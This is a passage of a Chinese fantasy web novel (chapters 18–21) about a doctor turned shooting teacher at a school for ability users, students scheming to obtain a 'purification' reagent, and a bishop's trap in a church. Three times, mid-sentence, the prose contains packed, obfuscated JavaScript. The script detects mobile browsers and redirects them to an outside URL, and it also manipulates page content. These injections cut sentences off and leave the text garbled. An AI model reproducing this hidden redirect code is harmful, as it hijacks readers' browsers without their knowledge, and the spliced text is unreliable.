既然她来当这个老师，按她对于工作的个性，就绝不可能糊弄了事。 非凡能力学校的班级都是按照能力等级划分的。太阳镇中学原本有一个B班，2个C班，和3个D班。两个B级的学生走了后，学校只剩下了C班和D班，而艾斯等人就身处D班，安戈的第一节课就在他们班上。 就在她踏入教室的那一刻，瞬时间响起了热烈的掌声，还有人吹着口哨，欢迎她的到来。 这是当然的，他们受海威尔的侮辱已久，而安戈替他们好好地惩戒了一下这个恶棍，现在又接替了他的职务，学生们都很开心。 然而，安戈的表情冷静而严肃，似乎并没有被现场的气氛而感染，她等待着一切平息，表达了自己的谢意，然后清了清嗓子，说道：“今天是我们第一次在课堂上相见，有些话我要说在前头，虽然我崇尚科学的训练方式，但是如果有人想要偷懒，或者以为我比较好说话，那就大错特错了。” 安戈个性本就冷淡，不太容易亲近，可是因为以往作为学校医生，多是帮助受伤的孩子，因此这些学生们也不大害怕安戈。如今安戈成了老师，还说得这么直白，这些学生们立刻安静了下来，好像劈里啪啦燃烧的火苗被一桶冰水浇灭了。 她扫视了一眼那些学生的脸，看见他们沉默了下来，不像刚才那般兴奋，反倒是有些紧张地看着她，非常满意：“两周后我们就要前往伊比利奈岛，相信你们也想在比赛中发挥出自己的全部潜力。” 这话倒是说在了台下人的心坎上，既然必须要参赛，他们也不想输得多难看，至少要在海威尔面前争一口气。 “那么这段时间肯定要辛苦一些。我负责各位的射击课，然而在实战中，射击和你们各自的非凡能力必然会有所结合，因此我会提供一个综合训练方案，一人一案，适用于每个人不同的情况，绝对科学，你们即便累了些，是肯定能看到效果的。” 这一番斩钉截铁的话让学生们微微发愣，不明白安戈的意思，射击课不仅要练枪法，还要综合训练……是要直接实战吗？ 从走廊外路过的孟校长也停下了脚步，在后门处好奇地看着安戈。 他是不会轻视这位安医生的，自从她赢了海威尔，孟校长就预感到她不太一般，也对安戈所说的话有了兴趣。 “安医生，什么是综合训练方案？”唐玉忍不住开口问道。 安戈让唐玉上台：“你来试试就知道了。” 于是，在大家的目光中，唐玉走到了安戈面前。 安戈拿出了一块薄如信封般的黑色仪器，这个仪器她曾经在林曜昕昏迷时使用过，才发现林曜昕的能力是人造的。而今天，她又将仪器拿了出来，却点击了不同的按钮，将分析仪的采样口对准唐玉的瞳孔，另一侧，一道白光被投影出来，在半空中形成雪白的屏幕。 屏幕上显示了几条信息，甚至配以机械人声读了出来：“D级造门术，进度90.7%，建议配枪：霰弹猎灵枪……” “以下是周训练计划：体能训练两小时，每日射击200 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203484|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发，非凡能力使用次数建议：30次，注意间隔休息时间，以免能力消耗过度的变异风险……” 机器女声还在继续，底下的人都已经瞠目结舌，都摸不着头脑——这是个什么玩意儿？像是个可以分析非凡能力的智能机器人。 平时，他们非凡能力的升级也有评定装置，但是那个装置远没有安戈的分析仪精确，还能告诉人们他的实力发展到哪一步了，什么样的训练方案此刻最适合他，以及还有多久才能够晋级。 其实，安戈所使用的分析仪，技术已经比较成熟。起初集团开发这样东西，是为了让安戈能精确观察，被试在使用改造系统后非凡能力的发展情况，同时再辅以一套科学的训练方式，看对方在一定的训练周期下，究竟能发挥出多少潜能。 分析仪是安戈在实验中每日都要使用的，因此就顺手带了出来。 只是这东西的制造成本太高，市场购买力不足，研发出来后集团就没有广泛售卖，因此只在军事领域、贵族阶层和顶尖研究所内流通，像帝华学院这样的好学校或许也会有，而太阳镇中学的学生们肯定是没有见过的。 “如果能按时完成计划，有50%的几率在一个月内升为C级。” 一句话又如同在水面上丢入了一块石子，掀起阵阵波澜。 唐玉更是睁大了眼睛，她蓬乱的棕色卷发也激动得颤了颤：“升为C级？是真的吗？” “你可以试试。”安戈没有给出准确答案，因为这还要看唐玉是否能完成计划，途中有没有意外情况。 唐玉下去时，脸上已经满是压制不住的喜色，其他学生也对仪器新奇得很，纷纷上来排队。 “D级元素分解，进度65.3%……” “D级火焰操纵，进度75.1%……” 这两位则是艾斯和林曜昕，他们的进度稍稍落后于唐玉，如果唐玉真的晋级了，他们就不在一个班里了。 安戈接着说：“根据你们的进步速度，再来测试结果可能会有所改变。” 听闻安戈这么说，唐玉稍稍放下心来，回头叮嘱道：“你们，可不能偷懒！” 唐玉这么说，好像真的已经相信自己会晋级C班了。 而艾斯和林曜昕两人，本就和唐玉玩得好，再加上他们一个调皮贪玩，一个没心没肺，组合在一起就总是闯祸，要不是唐玉帮忙，不知道要挨多少骂……和唐玉在一起，则是要挨她的骂，还要被她拖着去秘密基地做实验品，可如果唐玉真的走了，他们肯定会很不习惯。 于是两人连连保证，一定会赶上唐玉的步伐。 后门口的孟校长看着这一幕，则是目光幽深，神情复杂。 他一直把安戈当成一名普通的小诊所医生，上次和海威尔比试，她虽然枪法不错，侥幸获胜，可那也是因为海威尔喝得烂醉，已经有些腿脚不稳了，他认为这场胜利有很多运气的成分。 可是她能拿出的非凡能力分析仪，自己也仅仅在帝华学院的公开日上看过一次，能拿出这样的东西来，说明安戈的过去并不简单…… 又看了一会儿，孟校长才自言自语地离开：“诶，管她呢。自身都难保了……” 要是她能让太阳镇中学生存下来，怎么样他都认了，更何况他已经在安保局为安戈做了担保，此刻后悔也来不及了。 19. 第19章 除了给学生授课，安戈每天都在等待杜朗传来信的简讯。 她向来习惯于谋定而后动，此刻迫切地想知道杜朗的情况，以便自己做出判断，等得甚至有些焦急。 但是，杜朗的消息迟迟不来。 反倒是一封没有清晰署名的信，先抵达了保健室。 “致桑格利亚小姐、席森先生： 后天中午11点，请到教堂相见，有旧事一叙。 如若不来，教堂的钟声会把真相昭告天下。 ——故人” 那天，安戈一如往常地上课。 “猎灵枪的制造原理，要从非凡能力三大定律说起，有没有人知道是哪三个？” 天气炎热。靶场上，烈阳高悬，明晃晃地照射在每个人的脸庞上，大家都有些睁不开眼。 “我知道。”唐玉立刻回答道，“聚合定律，回归定律还有守恒定律。” “没错。” 非凡能力的应用知识，对于枪术的提高也相当重要，这是她的授课内容之一。 “守恒定律，指的是非凡能力不会消失，只会从人体内转移到自然界，或是从自然界聚合到能力者身上。” 安戈请林曜昕站到前面来，让他用指尖点燃火苗。 “就像这样，非凡能力就会一直从人体内流出，火苗就能一直燃烧，直到人体内的能力耗尽。” 然后安戈又示意林曜昕将火苗熄灭。 “熄灭后，聚合定律就会发挥作用。非凡能力在没有人为干预的条件下，只能聚合并且储存在能力者身上，无法存储在物体内。人类使用能力后，会缓慢地从自然界吸收恢复，这也是为什么，能力者需要充分休息。” “如果过分消耗能力，还会伤及精神，甚至疯掉，关于这一点，你们应该很清楚，这是非凡能力者要学习的第一课，不要让自己沦为精神失常的怪物。” 安戈扫视着每一张年轻稚嫩的脸庞，他们的神情肃穆，看来都知道这样做的严重后果。 “回归定律，指的是即便我们强行将非凡能力‘储存’在某一物体中时，能力则会以极其缓慢的速度回归到自然界。” 接着，安戈拿起猎灵枪，展示给大家：“猎灵枪就是运用了‘储存’的技术，将非凡能力蕴藏在子弹和枪体内。根据能力类别不同，猎灵枪的攻击效果也有差别，比如有的子弹具有火焰的效果，使用手感也会略有不同。” 安戈的面前摆放了几排不同的子弹，她手指划过弹匣：“而且由于能力会回归，摆放时间过久的枪支和弹药会失去非凡效果，变成普通的枪。如果仅仅是练习准度，用普通枪也可以，如果要熟悉不同能力的手感，就要用这些。” “既然非凡能力原本只能聚合在人体中，怎么才能强行‘储存’在物体内的呢？”有学生打断了安戈的话，问道。 “这个我知道。”好学生唐玉又回答，“这是因特里赫德集团开发的技术，他们得到了一种叫做‘储存’的非凡能力，实现了这一目标。从此储存技术代替了传统能源，成为新的动力系统，将吸收的非凡能力应用于汽车制造，家用电器，军工武器等领域。大名鼎鼎的科学家桑格莉亚的研究，也是在‘储存’的基础上开展的。” 那天，唐玉给她展示过，非凡者的血液离开人体后，就会失去聚合的力量，让非凡能力流逝，而只有特制的试管能够储存，就是因为“储存”的特性。 安戈肯定了唐玉的回答：“没错，就拿大城市的公共汽车‘飞鱼’来说，这种汽车兼具陆地行驶、空中飞行的本领，还可以进行短途的水面航行，就是因为储存了多种非凡能力。‘储存’……这是因特里赫德集团的发家技术，正是因为这一突破，他们才能迅速成为世界前列的科技公司，他们让普通人也能享受到非凡能力的好处。” “储存本身也是一种非凡能力。”提问的学生重复着唐玉一开始的话，若有所思。 “没错。更确切地说，‘储存’是与其他非凡能力结合，才能实现将其禁锢在物体中的效果。”安戈看了看手腕上的表，“其实像‘储存’这样可以进行结合的能力还有很多，如果运用得好，能发挥令人意想不到的功能……今天的时间差不多了，接下来大家可以去靶场自由练习，体验不同效果的猎灵枪……” 一下课，唐玉、艾斯和林曜昕就凑到了安戈身边，跟着安戈回到办公室。 如今，安戈在教师的大办公室也有一张小桌子，作为平时上下课准备时使用。这间办公室还坐着学校的其他训练教师，包括在比试当天帮助安戈的蕾妮。 三块牛皮糖挤在了安戈的桌前，蕾妮和其他老师的目光也被这边吸引。 唐玉凑到了安戈身边，笑嘻嘻说：“嘿嘿，安医生，我对你课上说的能力的结合很感兴趣，能不能再告诉我一点？” 就在这时，孟校长走了进来，依次往办公桌上发着宣传单。 “又到净化日了。”蕾妮接过传单，向安戈解释道，“要组织学生观看。” 孟校长清了清嗓子：“这个月教会有一位需要‘净化’信徒，仪式在中心广场举行。太阳镇已经一年多没有举办净化仪式了，教会非常重视，希望喊学生们一起去观看。” 等到孟校长走后，安戈指着宣传单上的“净化日”三个大字，告诉唐玉：“这也是一种，可以结合的能力。” 唐玉疑惑地看向艾斯和林曜昕，两人摇头，表示自己也没听懂。 “‘净化’是一种被教会垄断的非凡能力。” “人类的基因就像一个上锁的文档，通常情况下我们无法赋予或是改变一个人的非凡能力，但是经过净化仪式后，锁就被打开了。”安戈解释道，“只要打开这个锁，他的能力类型和潜力就能大幅度提升。至于向哪个方向改变……就要看‘净化’和什么能力结合了。” “安医生知道的真多。”蕾妮笑着来到安戈等人的面前，有些好奇地问，“这样解释净化仪式的，我还是第一次听说。” 唐玉恍然大悟：“也就是说，如果我想拥有艾斯的能力，就需要先被‘净化’，然后再拿到一份元素分解的非凡能力，两者相结合？然后……砰！” “魔法就发生了！我再也无法开门，却可以将元素分离出来。” “没错。”安戈肯定了她。 唐玉关心的是“净化”原理和应用方向，而林曜昕思考的方向却不一样：“难怪教会一直宣传，经过‘净化’洗礼的普通人，有可能从神明那获取新的非凡能力，能力者也可以提升实力……听说被神明才能受到‘净化’，可是……怎么才能被选中呢？” 安戈想，中选名单必定是多方利益讨论后的结果。 “这次被选中的，我听说是一位改变信仰的人。”蕾妮神秘开口，“信仰改变后，只要虔诚祈祷，就有机会得到神谕。” “竟然是这样。”林曜昕张了张嘴，有些震惊。 “这位勇士从巨人战神改信智慧之神，想改变能力类型。太阳镇的这座教堂本就属于联合教会，内部神明的改信，也是寻常事。” 林曜昕也睁大了双眼：“这个跨度好大。” 在场的几人中，只有林曜昕和蕾妮有信仰，唐玉和艾斯懵懵懂懂地听着二人的谈话，虽然好奇，却也觉得无话可说。 安戈没有信仰，她的父母是有的，但是那么多年的祈祷却没有得到任何回应。所以她想做自己的神，与其寄希望于渺茫的回应，不如依靠自己。 天气实在是闷热，直到下午才淅淅沥沥下了一场小雨，小镇像是一个蒸笼。 安戈的目光透过保健室的窗户，穿过雨幕，落在了铅灰色的成片树木上，微微发愣。 她叹了口气，拿出从集团内带走的部分“能力系统”，有些出神。这些系统被保存在拇指大小的软壳透明容器内，大约三十个，涵盖不同的能力，均是她这些年的研究成果。 上次席森拿走的透视之眼，就是其中之一。 无需教会繁琐的净化仪式，无需神明彰显奇迹，只需一管，就能改变非凡能力和命运。 这时，有人敲响了保健室的门。 “请进。”安戈收好东西，说着。 来者是唐玉，她的撑起滴着水的雨伞，晾在走廊，发尾湿漉漉的，怀中抱着一本封面泛黄的旧书。 “你一个人来的？” “是的。”唐玉说道，“我下午没课，刚从图书馆过来。” “他们两个呢？” 唐玉从来没有单独找过安戈，因而她有些意外。 唐玉坐到了安戈对面的塑料板凳上，擦了擦书本封面上的水珠，然后放在了桌上。 安戈瞟了一眼书名，诧异地看向唐玉。 “林曜昕就知道打游戏，艾斯还在睡大觉！还是我自己来算了。”唐玉说，“我又在图书馆找出了这本桑格莉亚写的书，和安医生上午说的一模一样！非凡能力的改变需要用到‘净化’、‘储存’这样的能力。” “所以我在想……安医生，你有这么多的知识，可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221429|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以告诉我，如果我想拿到一份‘净化’的样本，怎么才能得到？”唐玉扑闪着眼睛，渴求地看向安戈。 “……你认真的吗？”安戈一时间感觉有些头痛，“课上已经说了，‘净化’已经被教会垄断了。” 唐玉歪了歪脑袋：“可是……如果被垄断，桑格莉亚是怎么拿到的呢？总有些办法吧？比如教会偷偷出售？” 安戈摇了摇头：“不可能。拥有净化能力的教士都来自某几个家族，他们从小就被教育，自己的能力是神圣的，是神的恩赐，不能给与他人，只有神明能让他们使用这种能力。以他们的信仰来说……售卖这个是决无可能。” “可是……我听说还有很多地下研究所也在干这个，他们是怎么拿到的？”唐玉咬了咬唇。 听到这里，安戈骤然想起了一件事，那是多年前因特里赫德集团犯下的一起惨案，某位名满天下的大主教——那是教会唯一可以接受神临的主教，被称为联合教会的瑰宝，在那场屠杀中丧生了。 想要打破垄断，或许有人会用温和手段，但也必然会有血腥和暴力。 这一瞬，安戈不知道自己在想什么，微微有些发怔，过了一会才问道：“你为什么对非凡能力的研究这么感兴趣。” 唐玉的眸子亮晶晶，脸颊红扑扑，充满着期许，“如果我能成功，明年的升学就有希望了！” “我们班有将近一半的人明年就成年了，根据政策规定，如果他们成年前达不到B级能力，就不能升学，补助金也会停止发放，需要自谋生路，而且……人们都说，按我们的成绩，学校倒闭也就是这两年的事情了。” 安戈有些不知道该说什么，良久才把唐玉拿来的书翻开，指给唐玉看，“能公开出来的资料都不完成，只是个大概，盲目实验会有很大危险。” “不管怎么样，我都要试一试。”唐玉坚持着自己。 唐玉的想法，安戈能理解，但是这件事她实在是想得太简单了。 “你觉得，掌握了这项能力就能改变命运吗？” 曾经她也是这么想的。在她选择走上这条道路时，在她做出自己成果时，在她获得名声地位时，但是现实却给了她沉重的一击。即便她已经在这件事情上足够天才，拼尽全力，做到了最好，却仍然摆脱不了被操控的命运，仍然无法保护自己身边的人，仍然不能摧毁那个庞大的集团。 “可能吧……我不知道。”唐玉坦诚说，“但是或许能改变现状。” 安戈又一次沉默了。唐玉说得没错，未来的事情不可知，可是她眼下的困境有可能解决。 “公开出来的材料，很多也价格不菲，没有正规途径购买，你只能去黑市碰运气。”安戈的指尖轻点，细数着，“至于净化试剂……如果黑市有卖，那也是天价，你买不起，所以只能去找教会。” 唐玉听得有点泄气，可是渐渐地，她的眼神不自觉地飘向桌上“净化日”的宣传单。 安戈也看到了她的动作，想着索性将话说开，让她知难而退，又补充道：“而且你得找到银袍教士，就是拥有净化能力的人，拿到储存她能力的试剂，回来自己提纯。” 她直言不讳：“这难度很大，几乎不可能。每一个净化教士都是教会的珍宝，被人保护。” 唐玉的眼睛却是一亮：“我懂了！谢谢安医生！我有办法了！” 说罢，她兴奋得就要跑出去准备。 安戈心中咯噔一下：“别打歪主意，如果你偷盗，他们不会放过你的。” “我知道了留给安戈的只是唐玉蹦蹦跳跳的背影。 看着眼前的这一切，安戈内心却十分挣扎。 她理解唐玉内心的冲动，因为如果是幼时的她，恐怕也会想做一样的事情。可是时过境迁，她的感受和想法发生了变化，好像不再那么有冲劲。 她叹了一口气，克制自己不再去想这些，转而在考虑，如果唐玉在作案途中被发现了，她有没有办法把这个女孩救下来。 而就在此刻，她的余光忽然瞄到，自己办公桌的文件袋下，露出了一封信。 她打开信件，只见上面用非常漂亮的字体写着—— “致桑格利亚小姐、席森先生： 后天中午11点，请到教堂相见，有旧事一叙。 如若不来，教堂的钟声会把真相昭告天下。 ——故人” “席森！”安戈匆忙喊道，“你来看。” 脚底的席森缓缓站起，从黑影化作人形。 20. 第20章 “你到底找我做什么！外面一大堆事等着我呢！”银袍教士戴丽气势汹汹地粘在了伊恩的面前，这是一位身材高挑的女士，单眼皮薄嘴唇，她的嘴一张一合，指责着伊恩，“你最好给我个合理的理由，不然活动出了纰漏，你自己去跟欧文大主教解释！” “冷静，冷静。”伊恩双手在空中，做出下压的举动，又向前递了杯凉茶，让她消火。 一杯凉茶下肚，戴丽降了点火气：“您老一天天的在外面跟安保局活动，是不知道我们为了净化日有多忙，多少准备工作要去做。” “你是我们这里唯一一位银袍教士，要替神明行使净化之职，当然要忙一些。”伊恩淡定地坐在戴丽面前喝茶，他已经习惯了戴丽这副样子。 “那你就快说吧，又有什么事情，我可说好了，有什么都等到净化日之后我再给你办。” “这事儿可真等不了。” “什么？你在开什么玩笑！”戴丽情绪又激动了起来，她的嘴唇张合速度极快，“有什么能比净化日更重要？” “你跟我来就知道了。” 戴丽跟着伊恩，一路上喋喋不休。伊恩知道戴丽这几天为了净化日的事情忙前忙后，也没有阻止她抱怨，只是带着她走到一间平时不用的废弃储藏室前。 “看吧。” 一打开门，房间内天花板顶上悬挂着数十个造型奇异的灯，每一盏灯上仿佛有许多个眼睛，由悬臂固定着，可以多个角度移动。 “让我看你的这些灯？” “这些都是无影灯，我需要这里没有任何影子……同时，它也是教堂内唯一没有窗户的房间。” “所以呢？要是抓不到桑格莉亚，你就在这里度过余生？”戴丽嘲讽道。 伊恩摇摇头：“这是为桑格莉亚量身定做的。” “你真是疯了。”戴丽的眼里已经有了愠怒，全教会都在忙碌，只有这位伊恩做着这种不着边际的事情，“一天到晚就是桑格莉亚，桑格莉亚，你醒醒吧。” “听着，戴丽，你是琳光的亲族，我才跟你说这些，但是你得答应我，什么都不能往外说，否则你就是对不起死去的琳光了。” “……”戴丽一时语塞，但伊恩的表情严肃，没有丝毫疯癫或是玩笑，她竟然也渐渐安静了下来。 “你是找到了线索？” “没有十成把握，但也有五成。更重要的是，我十分肯定‘影子’就在这里，你知道，我见过一次他，我不会认错的……尤其是他的能力。” 戴丽忽然靠在了走廊的墙壁上，像是整个人从那种忙碌紧张中暂时脱离了一般。 “我需要你帮忙，戴丽，你的净化能力可以让人造非凡能力暂时失效。他们抢走了琳光的力量，也要受你们血脉的制约。”这才是伊恩的来意。 “……这太危险了。” “危险不危险的，我一定顶在你前面。”伊恩诚恳道，“你只需要消除掉他们改造出来的能力就好。” “你觉得我们两个，能打得过‘影子’？”戴丽表情夸张，指了指伊恩和自己，“那可是鼎鼎有名的杀手，别做梦了。他是什么水平？A级？还是准S级？” 正常来说，普通能力者的等级划分是从D到A，而S级则是接近神明的力量，能达到这个级别的要求相当苛，当年的琳光大主教也仅仅是准S级。 “我不知道，但他当初比琳光差远了……而且，无论什么非凡能力都有弱点，我花时间造出了这间无影室，就是为他量身定做的，我们出奇不意引诱他们过来，说不定就能一举拿下。” “你也说了，这事‘说不定’，而且……”戴丽停顿了一下，“你真的不告诉欧文吗？你要在这里自己杀了‘影子’？或者还有桑格莉亚？” 伊恩顿时压低了音量，嗓音沙哑异常：“他和因特里赫德是什么关系你还看不出来吗？他就是他们的一条狗！别说他了，任何人都不能告诉！他们在各处！政府里、民间组织里、安保局里……甚至现在连教堂里都有！几年前，教会和他们还是势如水火，你看看这几年呢？得了钱，谁还记得那些事！” “如果他得知了这个消息，只会把仇人拱手给因特赫德送回去。” 戴丽一噎。 伊恩看出她无法反驳，继续劝说：“我谁都不相信，只有你，是琳光的亲族，有和他相通的血脉，相通的能力！” “……我知道了。”戴丽叹了一口气，“只是我还是没底，这件事情听起来有些夸张。” “你放心，有什么事情我在前面顶着，我会为一切买单。”伊恩的手握拳放于胸口，行了一礼，“即便献上生命。” 星期六下午，教堂门口，净化日的前一天。 这天中午，安戈就告诉艾琳，自己今天需要前往教堂。对，不是如信上所说的净化日当天，而是前一天。 星期五收到来信后，她和席森仔仔细细地研究了数遍，最终才做出了这个决定。 谁知艾斯听说之后，略显惊讶地回道：“这么巧？是唐玉喊的吗？她也叫我今天去教堂。” “不是。”安戈回道，“只是来镇上后，还没去看过教堂，有些好奇。” 于是在艾琳的安排下，两人一起同行。 教堂门口，人不多也不少，其中大多来做黄昏时分礼拜的信徒。 这是太阳镇小镇唯一的一所教堂，位于小镇西南面的山坡上。由于这是联合教会所在，可以在这里找到教会所认可的五位神明的信徒，从巨人战神到机械女神，再到其它……信徒们分散在两个大礼拜堂中，进行虔诚的祈祷。 唐玉一行人中，只有林曜昕一人是有信仰的，他离开队伍去对烈焰神鸟的雕塑祷告。而剩下几位无信仰人士，用好奇的眼光打量着这所教堂，并没有觉得尴尬或是无聊。 “你不热吗？”艾斯对安戈说。 此刻太阳正盛，教堂的四面八方都镶嵌着巨大玻璃窗，这些窗户在阳光下熠熠生辉。而安戈穿着宽松款的长袖长裤，就连双手都覆盖着防晒手套，让艾斯忍不住发问。 “怕晒伤。”安戈简单回答。 唐玉有些虚心：“安医生真的要跟我们一起参观吗？” 就昨天的谈话来看，安戈是不想让自己冒这个险，所以唐玉更希望能自己行动。 “我只是随便看看，或许大家可以各自行动。”安戈这么回答。 唐玉微微松了一口气，安戈这么说应该就是不会管她了。 今天祈祷的人格外多，林曜昕回来后，说道：“智慧之神回应了信徒的祈祷，答应改变非凡能力，重启‘净化日’，这件事情让大家热情高涨。” 身着长袍的教士也在教堂里来来往往，装箱搬运各类物品，送往小镇的中心广场。唐玉的视线来回在这些教士身上转动，安戈开口说道：“一楼除了两个礼拜堂和忏悔室，就没有别的了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232601|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 视线随着旋转楼梯上的教士移动，唐玉眨了眨眼：“安医生，我想上楼转转……” “诸位是要参观教堂吗？”一道男声打断了唐玉的话。 抬眼看去，艾斯一眼认出，正是在餐厅里将安戈逮捕的伊恩：“是你！” 唐玉上前两步，赶忙自我介绍道：“我们是太阳镇中学的学生，看到了净化日的宣传，想为自己选择一位信仰，或许有幸也获得此等荣光。” 唐玉明白，教会大肆宣传这一宗教仪式，就是为了让更多的民众能信仰神明，因此来之前就想好了说辞。 伊恩从旋转楼梯上走下，他的视线一直若有似无地停留在安戈身上，听到唐玉这么说，狐疑地打量了她一眼：“是这样吗？那我们当然欢迎，不如我来带路吧。” 唐玉眼珠一转，笑着回道：“就不麻烦主教大人了，我们自己转转就好。” 伊恩却在此时板起脸，严肃了起来：“诸位都没有神明信仰，贸然在教堂内行走，不太妥当。” 此话一出，唐玉就犯了难，她并不想伊恩时刻跟着他们，可又想不出办法，只能求助地看向同行的几人。 然而这毕竟是教会的地方，还是伊恩说了算。 于是安戈说：“能理解，就请主教带路吧，我们想二楼三楼转一转，不方便去的地方也不进去。” 跟随伊恩的同时，安戈悄悄打开了藏在手套内的透明软壳试管，让能力改造系统作用于自己身上。 她刚刚启动，就感觉一道目光如同利刃般刺向了她。 可当她抬头去看时，又只看见了伊恩在前方作着介绍。 安戈适应着视野的变化。“透视之眼”在她身上发挥了作用，她感觉到追踪的力量从她身上抽离出去，而眼前的物体越来越模糊，她忍不住眨眼，再睁开时，已然变成了各种颜色的透明玻璃，就如同教堂四周的窗户一般，清晰明了。 她并不需要伊恩的引路，因为她能轻易看穿这座教堂的秘密。 伊恩的脚步骤然停顿了下来。 “怎么了？”林曜昕问。 “抱歉，安医生，你看上去有些不舒服，需不需要去休息一下？”伊恩的语气有些奇怪。 安戈的眼睛飞速地眨着，看起来确实有些不舒服。 “我没事，有些热罢了。”安戈装作炎热的样子，擦了擦鬓角。 “那就好……”伊恩低声道。 其他几人都有点摸不着头脑的样子。 “到底怎么了？”唐玉追问。 “这件事情或许有些冒昧，我收到消息，有位教士，突发高热，想找一位医生诊治。”伊恩指了指手中的光脑，吞吞吐吐道。 “这不现成就有一位医生吗？”艾斯说道，“给诊金吗？” “当然给，只是这样我就不方便带你们参观了。”伊恩看向安戈。 安戈也不推辞：“当然，只是那位教士现在在哪？” “在隔壁的教士宿舍楼里休息，我们可以从二楼的侧廊绕过钟楼，前往那里。” “这么远。”唐玉眼里闪着精光，困惑地问，“可是我们这么多人跟着一起去也不方便吧。” 伊恩点头：“确实，要不请你们在休息室稍等片刻，我带安医生去一趟。” 唐玉喜悦之情溢于言表：“当然可以，我们就在休息室等你们，不着急，不着急，好好给教士看一看。” 21. 第21章 伊恩领着安戈，沿着教堂二楼的走廊缓缓前行，穿梭在熙熙攘攘的人群中。伊恩不时回头，向安戈投以温和的微笑，确保她紧随其后。然而，他的微笑下暗含着一丝微不可见的紧张和兴奋。 因为伊恩刚刚秘密通知了戴丽，让她随后赶来。 走廊狭窄而拥挤，教士们推着满载纸箱的小车，使得通道更加逼仄。安戈不得不紧贴着右侧扶手行走，她的目光越过镂空的扶手，看到了下方陡峭的空间。 在他们左侧，一扇扇房门紧闭，安戈扫视着周边，利用自己的透视能力，洞察其中的秘密，但伊恩知道，她不会发现任何异常。 凭借自己的“真视之眼”，他也能清晰地看到安戈动向。 二人来到一扇看似普通的门前，安戈继续使用着能力，伊恩也不担心——因为这里已经被清空，只有剩下几盏造型古怪的吊灯悬挂在天花板上。 伊恩停下了脚步。 由于激动，他的心脏在胸腔中狂跳，他相信“影子”就藏匿在安戈身旁，而这个无窗的房间，就是他精心为这两人设计的陷阱。 他等待前面的教士推车经过，然后轻轻推开了门，向安戈示意前进。 “安医生，请进，”伊恩的声音中带着一丝不易察觉的颤抖，“这里有一条捷径，可以绕过钟楼，节省时间。” 安戈闻言，紧随其后。 紧盯着安戈的步伐，伊恩的心彻底落地——看来对方真的没有起疑。 就这样一步、一步……安戈走进了房间！伊恩的嘴角即将勾起胜利的微笑…… 安戈定定地站在房间内，身后的门“啪”地一声关上，安戈正要回头去看，忽然之间，一股无形的力量笼罩了她。 就是这样——伊恩笑了，还带着些骄傲——观赏着她的反应，正要说些什么…… 就在这时候，安戈的影子开始扭曲，随即整个身体化作了烟雾，丝丝缕缕地飘起，席卷着一片薄薄的面具消散在空气中。 “安戈！”伊恩惊惶地呼喊了一声，声音在空旷的房间里回荡，但只换来了死寂的回声。 他试图用手抓住那片面具，可显然是徒劳。 发生了什么？原本在伊恩的计划中，只要安戈和席森进入房间，他就可以封印住对方的非凡能力，然后他和戴丽就能将两人一举拿下。 可是安戈却如同烟雾一样，如同变魔术一般，原地消失了？ 原本以为完美的计划似乎出现了意料之外的变数。 一定是她发现了什么！这是伊恩的第二反应——惊恐。 他迅速用颤抖的手将门反锁。 房间内寂静无声，伊恩靠在门上，深呼吸，试图平复自己的情绪，他对眼前的情况毫无头绪，这种未知的恐惧让他的大脑一片混乱。 唯一的本能反应就是——他要保护自己，呆在这里！ 他的理性知道，这间无窗的房间对他而言，才是最安全的，因为这是他打造的，独属于“影子”和桑格莉亚的陷阱，可是这种恐惧依旧让他坐立难安。 这时，伊恩注意到房间的一角有些不寻常，那里的阴影似乎在微微晃动，带着一样薄薄的面具迅速消失，他的心跳加速，一种新的恐惧在他心中升起。 他真的应该继续呆在这里吗？还是迅速离开？ 密闭的空间里，时间的流逝变得异常缓慢。伊恩努力保持冷静，和自己狂跳的心脏一起，等待着戴丽的到来。 看着安戈和伊恩离开房间，唐玉轻轻翘起嘴角，向林曜昕和艾斯使眼色。 他们都明白唐玉的意思，因为三人组来这里的目的，就是探查备用净化试剂的位置。 推开房门，唐玉小心地左顾右盼，可是艾斯却毫不避讳，直接走出去，在走廊上拦下了一名教士，大声问道：“喂，你知道戴丽女士在哪里吗？” 他的想法看起来相当简单，净化教士戴丽所在之处，就会有唐玉想要的东西。 唐玉的圆眼瞪向艾斯——她没想到这个人如此鲁莽，这么轻易就暴露了他们的目标。 两人一番交谈，很快艾斯就得到了答案。 “哦，谢谢哈。”艾斯挠挠头，转身跟唐玉说，“他说戴丽在地下珍宝库里，我们虽然不能进去，但可以询问看门的老头，戴丽什么时候出来。” 就这么简单？唐玉震惊了。 几人正要整装前进，谁知林曜昕忽然说道：“我有点事情，你们先去吧。” “啊？你还有什么事？”唐玉有些不满，“怎么关键时候掉链子啊！” 